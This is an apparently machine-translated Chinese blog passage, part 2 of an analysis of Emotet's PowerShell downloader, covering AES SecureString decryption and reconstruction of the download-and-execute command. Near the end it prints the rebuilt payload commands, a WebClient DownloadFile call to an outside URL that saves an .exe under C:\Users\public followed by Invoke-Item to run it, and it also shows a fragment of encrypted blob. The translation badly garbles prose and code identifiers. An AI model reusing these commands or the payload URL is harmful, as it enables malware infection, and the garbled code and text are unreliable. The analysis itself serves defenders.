在我们解码情绪上的第两点中,(你可以赶上来在这里第1部分),我们将介绍PowerShell代码的分析。但是,在我们这样做之前,它是一个好主意,列出了在代码中使用的一些函数和调用。

  • system.runtime.interopservices.marshal:用于内存管理
  • SecureStringTobstr:用于将安全字符串转换为解密数据
  • ConvertTo-SecureString:用于将加密数据转换为安全字符串

加密和PowerShell.

有几种方法可以使用PowerShell加密数据。DPAPI(数据保护应用程序编程接口)是使用PowerShell加密的方法,但这不是我们的恶意软件使用。Modet Downloader Malware使用AES加密数据。所以让我们来看看AES如何工作。

如果数据使用ConvertTo-SecuRestring加密,但没有键,PowerShell将默认使用DPAPI。但它只为它加密的机器上的登录用户工作。

如果使用ConvertTo-SecuRestring使用ConvertTo-SecuRestring使用键加密数据,则PowerShell将使用AES加密数据,并且可以由具有加密密钥的任何机器在任何计算机上解密。ModeTet Downloader使用AES加密代码,其中密钥在恶意软件本身中硬编码。

代码执行流程

为了得到加密的代码,我们首先需要了解执行流程。让我们看看代码是如何构造的。

代码结构

[runtime.interopservices.marshal] ::([runtime.interopservices.marshal] .getmembers()[2] .name).invoke([runtime.interopservices.marshal] :: securestringtoglobalallocunicone(

从上面的代码段,我们需要提取有用的代码,然后重新构造结构,以便我们可以遵循执行流程并解密代码。

[system.runtime.interopservices.marshal] ::
ptrtostringauto([system.runtime.interopserves.marshal] ::
SecureStringToGlobalAllocUnicode

代码分析

现在我们有一个可用的代码结构,我们可以继续下一步。

上面的代码正在寻找一个加密的数据字符串,然后可以通过SecureString运行该字符串进行解密。

我们现在可以从VBA访问加密数据。

76492 d1116743f0423413b16050a5345mgb8adyaywb4ahaadgaxaheadqavaekavqbxadqanqbrafuawgbkaeia
NwBTAGcAPQA9AHwAYgAyADUAOQAwADMAYgBkAGMAOAA1AGMANwA0ADgAZgBhADUAYQBhAGIAYgBkADcAMwA1ADgAY
wA3ADIANwA1ADAAZAA4AGEAYQBiADEANwBkADIAMwA3ADMANABlAGUAOAAxADUAZQA3ADAAOAAxADMAZQAyADIAZQ
BlADUAOAAxADcAMQAxAGUAOAA4ADUAOQAzADcAMwBlADcAOABmADYAYwA5ADkANAA3ADMAMABhAGMAMwAzADIAMQA
Xadcaywa2agqamgaxadaazqayadqazgayaguamqa ...

我们将采用加密代码并通过ConvertTo-SecureString运行它来启动解密过程。

由于数据字符串很长,所以最好先将其保存为文件,然后将其传递给PowerShell中的一个变量。

出于分析的目的,我们将它保存为encrypted_code.txt。

现在,我们将它传递给一个变量$vEncrypted:

$ Vencrypted = [IO.File] :: ReadAllText(“absolute_path \ ercypted_code.txt”)

有不同的方法来达到相同的结果。Get-Content也可以使用。

接下来,我们通过convertto-secureString运行它来将加密的字符串转换为SecuRestring:

$vDecrypted = ConvertTo-SecureString -String

注意:恶意软件作者之前将使用“ConvertFrom-SecureString”使用键(现在硬编码到恶意软件代码)以加密数据。我们只是反转进程来提取加密代码。

最后一步是现在通过SecureString将SecureString汇编来获取解密的代码。

我们将将结果存储在变量中以保持干净简单。

$ vresult = [system.runtime.interopservices marshal] :: ptrtostringauto([system.runtime.interopseropservices.marshal] :: securestringtobstr($ vdecrypted))

注意,我们使用的是secureingtobstr,而不是恶意软件作者使用的(secureingtoglobalallocunicode)。原因是BSTR将SecureString字符串值转换为COM识别的二进制字符串(BSTR)。secureingtoglobalallocunicode也可以。

而已。$ Vresult现在应该使用有效载荷URL完全解密代码。

逐步分析

现在我们知道代码流,让我们在PowerShell中运行它,并通过分析代码来完成我们所获得的所有知识。

首先,我们将将加密代码传递给变量$ Vencrypted:

如下所示,加密数据现已存储在我们的变量Vencrypted中:

下一步现在是通过通过ConvertTo-SecuRestring函数运行它来将加密数据转换为SecuRestring。我们将使用我们发现硬编码到恶意软件代码中的密钥。我们将输出传递给变量vdecrypted:

在下一步中,我们将确认转换是否成功。如下所示,转换是成功的:

现在,解密数据的最后一步是通过SecureStringTobstr汇编它并将输出传递给变量,在这种情况下,Vresult:

现在是时候打印变量的输出并查看解密代码!

我们将进一步执行代码,以提取有效负载url,并以一种干净漂亮的方式将它们打印到控制台。正如我们在代码中看到的,变量$ADCX保存url。我们将使用解密代码中所示的split函数,并将输出传递给$ADCX。

我们现在所要做的就是将$ ADCX的值打印到控制台,我们获取列表中的所有URL。

我们已经有了国际奥委会网络。现在,我们可以回家了!但我们真的做到了吗?

重新构造命令行参数

让我们重新构建完整的命令行参数,主要是作为完成分析的奖励!

这是我们的PowerShell代码,结构化和可读:

下面是同样的代码,经过了清理和美化:

现在,我们将查看所有变量,并一串分析它们以重建完整的命令行参数。

$ nsadasd.

将此变量分配为(新对象)随机输出的值,它转换为system.random。

在后面的代码中,这个变量将用于生成一个随机值(10,000到282,133之间),用作下载的有效负载的文件名。我们将在分析$NSB时看到这一点。

$ yyu

该变量被分配了值“(new-object)system.net.webClient”,稍后将使用DownloadFile从Internet下载所指定的URI并将其另存为本地文件。我们可以查看分配给下面的图像中变量的值。这些是用于开始下载有效载荷的属性。

$ NSB.

正如我们之前所看到的那样,此变量在先前声明的变量“nsadasd”中呼叫与“.next”一起调用,该“.next”将参数转换为“Aquary.next”。反过来,这将在指定范围内返回一个随机数(在这种情况下,10,000 - 282,133)。正如您可以在下面看到的,每次执行时都会返回不同的值。

美元署

$SDC = $env:public + ' \ ' + $NSB + (' .exe ');

此变量将具有有效载荷的绝对路径放在一起,完成由变量NSB生成的文件名。

我们已经了解了$ADCX变量以及如何从中提取uri。现在,让我们重新构建传递给系统的整个命令行参数,以便恶意软件成功下载有效负载,将其保存到本地文件,并执行它。

以下是使用我们在上面分析的变量执行恶意软件的代码的方式:

让我们清理代码以使其更可读:

现在我们知道了这些变量的值,让我们重新构造将要传递给系统执行的最终命令行参数:

这就是最终的结果:

(新对象)System.Net.WebClient。“DownloadFile”(http://lecap-services.fr/wiB9s。ToString (), C: \ \公共用户\ 264415. exe);

我们上面的命令将从指定的URI启动数据下载数据,并将其保存到本地文件为“C:\ Users \ public \ 264415.exe”。

(“invoke项”)(C: \ \公共用户\ 264415. exe);

此最终命令将开始执行有效载荷。

情绪:一个复杂的恶意软件

情绪化是野外中最积极的威胁之一,广告系列为全球潜在的受害者提供服务。用于隐藏代码的代码混淆和加密的级别非常复杂和执行。事实上,它是流通中最复杂的下载者之一。

这就是为什么我们认为帮助观众充分了解Emotet的细节是如此重要,这样代码的变化或未来的其他变化就不会对试图破译该恶意软件的分析师构成任何重大挑战。你知道的越多,你就能更好更快地保护用户免受复杂的恶意软件攻击。